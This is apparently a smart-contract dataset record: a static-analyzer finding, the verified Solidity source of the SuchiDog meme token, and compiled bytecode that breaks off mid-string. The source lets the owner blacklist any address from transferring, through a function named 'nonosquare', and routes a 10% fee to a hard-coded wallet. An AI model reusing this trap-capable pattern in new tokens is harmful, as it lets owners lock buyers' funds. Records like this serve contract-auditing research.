60206110538339815191526020820152901515610b255760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360008381101561070f5781810151838201526020016106f7565b50610b31826001610eb3565b50919050565b600a5481565b60075481565b60025481565b6000610b5433610933565b60408051808201909152601e81526000805160206110538339815191526020820152901515610bc85760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360008381101561070f5781810151838201526020016106f7565b50610b31826001610f83565b60045481565b600160a060020a031660009081526001602052604090205460ff1690565b610c0133610933565b60408051808201909152601e81526000805160206110538339815191526020820152901515610c755760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360008381101561070f5781810151838201526020016106f7565b50600b55565b6000610c8633610933565b60408051808201909152601e81526000805160206110538339815191526020820152901515610cfa5760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360008381101561070f5781810151838201526020016106f7565b50610b31826000610eb3565b6000610d1133610933565b60408051808201909152601e81526000805160206110538339815191526020820152901515610d855760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360008381101561070f5781810151838201526020016106f7565b50610b31826000610f83565b610d9a33610933565b60408051808201909152601e81526000805160206110538339815191526020820152901515610e0e5760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360008381101561070f5781810151838201526020016106f7565b506009805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600b5481565b60016020526000908152604090205460ff1681565b600654600160a060020a031681565b6000821515610e795750600061068b565b50818102818382811515610e8957fe5b041461068b57fe5b60008183811515610e9e57fe5b049392505050565b8181018281101561068b57fe5b600160a060020a03821660009081526020819052604081205460ff1615158215151415610edf57600080fd5b600160a060020a0383166000908152602081905260409020805460ff19168315801591909117909155610f4557604051600160a060020a038416907fac1e9ef41b54c676ccf449d83ae6f2624bcdce8f5b93a6b48ce95874c332693d90600090a2610f7a565b604051600160a060020a038416907fbaefbfc44c4c937d4905d8a50bef95643f586e33d78f3d1998a10b992b68bdcc90600090a25b50600192915050565b600160a060020a03821660009081526001602052604081205460ff1615158215151415610faf57600080fd5b600160a060020a0383166000908152600160205260409020805460ff1916831580159190911790915561101557604051600160a060020a038416907f16baa937b08d58713325f93ac58b8a9369a4359bbefb4957d6d9b402735722ab90600090a2610f7a565b604051600160a060020a038416907f4a59e6ea1f075b8fb09f3b05c8b3e9c68b31683a887a4d692078957c58a12be390600090a2506001929150505600486176656e277420656e6f75676820726967687420746f206163636573730000a165627a7a72305820b2fc38f6ca84c6eb83dc5f2052cdf4f3a1121029f3f833a59fbdf208147f37130029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 3,280 |
0x617a9f9976bff36722c8b9019eaef667e064b868
|
/**
*Submitted for verification at Etherscan.io on 2022-04-26
*/
/**
SuchiDog
💎Tg: https://t.me/suchidog
📌Web: https://suchidog.space/
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SuchiDog is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "SuchiDog";
string private constant _symbol = "SuchiDog";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x2a73b8690E28fB0AF9d9c0651D0211013f6A556f);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(15).div(1000);
_maxWalletSize = _tTotal.mul(30).div(1000);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e9a565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906129bd565b6104b4565b60405161018e9190612e7f565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061303c565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129f9565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d919061296e565b610633565b60405161021f9190612e7f565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a91906128e0565b61070c565b005b34801561025d57600080fd5b506102666107fc565b60405161027391906130b1565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612a3a565b610805565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a8c565b6108b7565b005b3480156102da57600080fd5b506102e3610991565b005b3480156102f157600080fd5b5061030c600480360381019061030791906128e0565b610a03565b604051610319919061303c565b60405180910390f35b34801561032e57600080fd5b50610337610a54565b005b34801561034557600080fd5b5061034e610ba7565b005b34801561035c57600080fd5b50610365610c5e565b6040516103729190612db1565b60405180910390f35b34801561038757600080fd5b50610390610c87565b60405161039d9190612e9a565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906129bd565b610cc4565b6040516103da9190612e7f565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a8c565b610ce2565b005b34801561041857600080fd5b50610421610dbc565b005b34801561042f57600080fd5b50610438610e36565b005b34801561044657600080fd5b50610461600480360381019061045c9190612932565b6113f1565b60405161046e919061303c565b60405180910390f35b60606040518060400160405280600881526020017f5375636869446f67000000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611478565b8484611480565b6001905092915050565b6000683635c9adc5dea00000905090565b6104eb611478565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612f7c565b60405180910390fd5b60005b815181101561062f576001600660008484815181106105c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061062790613352565b91505061057b565b5050565b600061064084848461164b565b6107018461064c611478565b6106fc8560405180606001604052806028815260200161377560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b2611478565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cde9092919063ffffffff16565b611480565b600190509392505050565b610714611478565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079890612f7c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61080d611478565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089190612f7c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108bf611478565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094390612f7c565b60405180910390fd5b6000811161095957600080fd5b610988606461097a83683635c9adc5dea00000611d4290919063ffffffff16565b611dbd90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d2611478565b73ffffffffffffffffffffffffffffffffffffffff16146109f257600080fd5b6000479050610a0081611e07565b50565b6000610a4d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e73565b9050919050565b610a5c611478565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae090612f7c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610baf611478565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3390612f7c565b60405180910390fd5b683635c9adc5dea00000600f81905550683635c9adc5dea00000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f5375636869446f67000000000000000000000000000000000000000000000000815250905090565b6000610cd8610cd1611478565b848461164b565b6001905092915050565b610cea611478565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6e90612f7c565b60405180910390fd5b60008111610d8457600080fd5b610db36064610da583683635c9adc5dea00000611d4290919063ffffffff16565b611dbd90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd611478565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000610e2830610a03565b9050610e3381611ee1565b50565b610e3e611478565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ecb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec290612f7c565b60405180910390fd5b600e60149054906101000a900460ff1615610f1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f129061301c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fab30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611480565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff157600080fd5b505afa158015611005573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110299190612909565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561108b57600080fd5b505afa15801561109f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c39190612909565b6040518363ffffffff1660e01b81526004016110e0929190612dcc565b602060405180830381600087803b1580156110fa57600080fd5b505af115801561110e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111329190612909565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111bb30610a03565b6000806111c6610c5e565b426040518863ffffffff1660e01b81526004016111e896959493929190612e1e565b6060604051808303818588803b15801561120157600080fd5b505af1158015611215573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061123a9190612ab5565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506112a46103e8611296600f683635c9adc5dea00000611d4290919063ffffffff16565b611dbd90919063ffffffff16565b600f819055506112db6103e86112cd601e683635c9adc5dea00000611d4290919063ffffffff16565b611dbd90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161139b929190612df5565b602060405180830381600087803b1580156113b557600080fd5b505af11580156113c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ed9190612a63565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612ffc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612f1c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161163e919061303c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b290612fbc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561172b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172290612ebc565b60405180910390fd5b6000811161176e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176590612f9c565b60405180910390fd5b6000600a81905550600a600b81905550611786610c5e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117f457506117c4610c5e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cce57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561189d5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118a657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119515750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119a75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119bf5750600e60179054906101000a900460ff165b15611afd57600f54811115611a09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0090612edc565b60405180910390fd5b60105481611a1684610a03565b611a209190613172565b1115611a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5890612fdc565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611aac57600080fd5b601e42611ab99190613172565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ba85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bfe5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c14576000600a81905550600a600b819055505b6000611c1f30610a03565b9050600e60159054906101000a900460ff16158015611c8c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ca45750600e60169054906101000a900460ff165b15611ccc57611cb281611ee1565b60004790506000811115611cca57611cc947611e07565b5b505b505b611cd98383836121db565b505050565b6000838311158290611d26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1d9190612e9a565b60405180910390fd5b5060008385611d359190613253565b9050809150509392505050565b600080831415611d555760009050611db7565b60008284611d6391906131f9565b9050828482611d7291906131c8565b14611db2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da990612f5c565b60405180910390fd5b809150505b92915050565b6000611dff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121eb565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e6f573d6000803e3d6000fd5b5050565b6000600854821115611eba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb190612efc565b60405180910390fd5b6000611ec461224e565b9050611ed98184611dbd90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f3f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f6d5781602001602082028036833780820191505090505b5090503081600081518110611fab577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561204d57600080fd5b505afa158015612061573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120859190612909565b816001815181106120bf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061212630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611480565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161218a959493929190613057565b600060405180830381600087803b1580156121a457600080fd5b505af11580156121b8573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121e6838383612279565b505050565b60008083118290612232576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122299190612e9a565b60405180910390fd5b506000838561224191906131c8565b9050809150509392505050565b600080600061225b612444565b915091506122728183611dbd90919063ffffffff16565b9250505090565b60008060008060008061228b876124a6565b9550955095509550955095506122e986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffff